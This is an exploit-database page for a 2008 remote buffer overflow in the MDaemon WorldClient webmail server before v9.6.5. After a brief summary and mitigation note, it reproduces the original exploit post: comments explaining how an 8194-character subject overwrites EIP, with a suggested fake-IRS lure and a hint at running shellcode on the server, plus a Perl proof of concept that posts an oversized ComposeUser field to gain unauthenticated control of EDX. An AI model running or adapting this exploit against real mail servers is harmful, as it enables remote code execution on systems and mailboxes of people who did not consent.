MDaemon - exploit.company

vendor:

MDaemon

by:

N/A

CVSS

CRITICAL

Buffer Overflow

120 (Buffer Copy without Checking Size of Input)

CWE

Product Name: MDaemon

Affected Version From: < v9.6.5

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

N/A

MDaemon <== v9.6.5 Multiple Remote Buffer Overflow

A buffer overflow vulnerability exists in MDaemon versions prior to v9.6.5. An attacker can send a malicious message with a subject composed of 8194 A characters to a user or postmaster, and if the user clicks 'answer' to the message, the EIP gets owned. The CC & From field is also vulnerable. Additionally, a full control over EDX can be achieved without any authentication.

Mitigation:

Upgrade to the latest version of MDaemon.

Source

Exploit-DB raw data:

############################################################################
# MDaemon <== v9.6.5 Multiple Remote Buffer Overflow
#
# Vendor Site: http://altn.com
#
# Risk : Highly Critical
# hehe funny bugs here .. the worldclient use the port 3000 for a webmail like (it use also an admin webmail 
# located at 
# port 1000 [by default both are opened])
# this file unfortunatly contain multiple buffer overflows , If you send a message to a user ( or postmaster ? :] )
# with a subject composed of 8194 A ( like : " Do your incomming taxes online this year, it's safe and fast,just reply with 
# the supplied incomming form...8100 A " from incomming@irs.gov etc )
# if the user click "answer" to the message , eip get owned
# the CC & From field is vulnerable too .
#
# This kind of bug is pretty nasty, because the client doesn't get owned , but postmaster yes. so if you have an account 
# on a host providing MDaemon services ,
# you can send a mail to yourself and get some shellcode executed on the server.
# if you dont ... just have a look on google,you'll find out
#
#
# this poc is another bug, actually it shouldn't work, because we dont have any cookie & session ,but it give a full control 
# over EDX without any auth, dont ask why, it's like this only for this variable [ComposeUser] =)
#
# Greetz to : French/Quebec security community & http://spiritofhack.net .
# ungreetz to : they'll reconize them =)
#
# Ps: actually this audit is NOT finished ... there might be some other remote bugs/advisory , i just dont have time for 
# this at the moment, i recommend to the ones who want to do it , to look at Webclient.exe & Webadmin.exe , there's 
# some funny stuff in there hehe .

use LWP::UserAgent;
$connect = LWP::UserAgent->new;
my $payload1 ="a" x 60;
my $payload2 ="b" x 20;
my $host = 'http://127.0.0.1:3000/';

my $req = HTTP::Request->new(POST => $host.'WorldClient.dll?Session=&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes');
$req->content_type('application/x-www-form-urlencoded');
$req->content('ComposeUser='.$payload2.$payload1.'%40localhost&&ComposeID=1&Attn=&Company=&From=0&Reply-To=&To=%22admin+bla%22+%3Cadmin%40localhost%3E%2C+&CC=YO&BCC=&Subject=hey&Body=yo%21&');
my $res = $connect->request($req);
print $res->as_string;

# "If in time like these you can talk about individual freedom, you're probably a terrorist"

# milw0rm.com [2008-06-02]